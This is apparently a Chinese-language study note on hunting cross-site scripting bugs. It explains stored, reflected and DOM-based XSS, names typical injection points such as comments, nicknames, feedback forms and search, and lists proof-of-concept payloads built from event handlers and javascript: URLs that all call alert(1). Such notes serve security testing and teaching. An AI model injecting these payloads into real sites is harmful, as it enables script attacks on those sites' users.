xss场景与挖掘思路
只要用户的输入最终返回到浏览器上,则就有可能被当成javascrip解析,从而造成xss。
xss分类
存储型
用户的输入将会保存在数据库中。比如常见的评论,用户昵称都会保存在数据库中,当此类数据没有进行过滤,直接返回到浏览器上,则可能会当成javascript执行。 盲打:只有特定人员才能看到用户录入的信息,比如意见反馈管理员,盲打原理比如通过img的src,通过是否访问构造的链接进行判断是否触发了xss
反射型
与存储型的区别在于,此类信息并不会保存在数据库中,到达服务器后,又传回到了浏览器。比如有些搜索功能,会在页面显示输入的字符串。
DOM型
用户的输入,被站点本身的javascript使用,比如更新标签的值,或创建新的节点。
xss场景总结
存储型常见场景
- 用户账号、昵称、评论、留言板、文章标题、文章正文
- 意见反馈
反射型常见场景
- 搜索功能
DOM型常见场景
早些年会通过javascript直接进行跳转
window.location.assign("https://www.runoob.com");
window.location.replace("https://www.runoob.com");
window.location.href = "https://www.runoob.com";
于是可以通过javscript触发
var h = "javascript:alert(1)";
window.location.replace(h);
触发DOM总结
document.write("<svg/οnlοad='alert(1)'");
document.getElementById("t").innerHTML="<img src=# onerror='alert(1)'>"; 利用innerHTML属性,需要注意在页面渲染完成后,通过onclick或其他条件触发innerHTML值修改的情况,会存在js,不执行的情况,目前通过img的onerror在这种情况下可执行
看到还有介绍window.name和document.referrer,暂未弄懂利用方式
参考:驱散前端安全梦魇——DOMXSS典型场景分析与修复指南 参考:Dom Xss挖掘思路
触发xss的 标签总结
<marquee onstart=alert(1)>hack the planet</marquee>
<img src=x onerror=alert(/xss/) >
<a href="#" onclick="alert(1)">xss</a>
<a href="javascript:alert('xss')">xss</a>
<a href=javascript:eval("alert('xss')")>xss</a>
<svg/οnlοad='alert(1)'>
参考:XSS Payload深入分析整理
参考:XSS(跨站脚本攻击)详解
|